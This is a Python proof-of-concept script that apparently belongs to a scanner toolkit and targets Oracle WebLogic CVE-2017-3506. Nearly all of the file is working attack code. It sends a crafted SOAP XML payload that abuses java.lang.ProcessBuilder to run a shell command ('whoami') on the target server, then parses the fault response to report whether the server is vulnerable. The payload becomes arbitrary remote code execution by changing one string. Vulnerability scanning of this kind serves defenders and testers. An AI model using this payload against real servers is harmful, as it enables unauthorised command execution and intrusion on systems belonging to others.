#!/usr/bin/env python
# -*- coding: utf-8 -*-


import requests
import re
import sys
from json_parse import Jsonparse

description = 'Weblogic (CVE-2017-3506)'
"""
    Weblogic (CVE-2017-3506):
        OracleWebLogic Server 10.3.6.0.0
        OracleWebLogic Server 12.1.3.0.0
        OracleWebLogic Server 12.2.1.0.0
        OracleWebLogic Server 12.2.1.1.0
        OracleWebLogic Server 12.2.1.2.0
"""


headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0",
    "Accept-Charset": "GBK,utf-8;q=0.7,*;q=0.3",
    "Content-Type": "text/xml"
}

poc_str = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java>
        <object class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>whoami</string>
            </void>
          </array>
          <void method="start"/>
        </object>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
'''

class WebloicScanner(object):
	def __init__(self,ip,port,level):
		self.ip = ip
		self.port = port
		self.level = level
        
	def run(self):
		tg = 'http://'+self.ip+':'+str(self.port)
		url= tg +'/wls-wsat/CoordinatorPortType'
		try:
			response = requests.post(url, data=poc_str, verify=False, timeout=self.level, headers=headers)
			response = response.text
			response = re.search(r"\<faultstring\>.*\<\/faultstring\>", response).group(0)
			if '<faultstring>java.lang.ProcessBuilder' in response or "<faultstring>0" in response:
				print(response)
				print("vul in target")
				exit(233)
			else:
				print("Not have vul")
				exit(1)
		except Exception as e :
			print(e)
			exit(-1)

if __name__ == '__main__':
	jsonfile = sys.argv[1] + '\\poc\\lib\\config.json'
	jsonobj = Jsonparse(jsonfile)
	jsondata = jsonobj.parse()
	targetip = sys.argv[2]
	timeout = jsondata['timeout2']
	port = sys.argv[3]
	Scanner = WebloicScanner(targetip, port, timeout)
	Scanner.run()
